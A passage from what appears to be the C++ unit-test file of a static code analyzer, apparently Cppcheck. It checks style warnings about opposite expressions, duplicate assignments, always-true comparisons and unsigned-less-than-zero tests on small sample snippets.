check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) 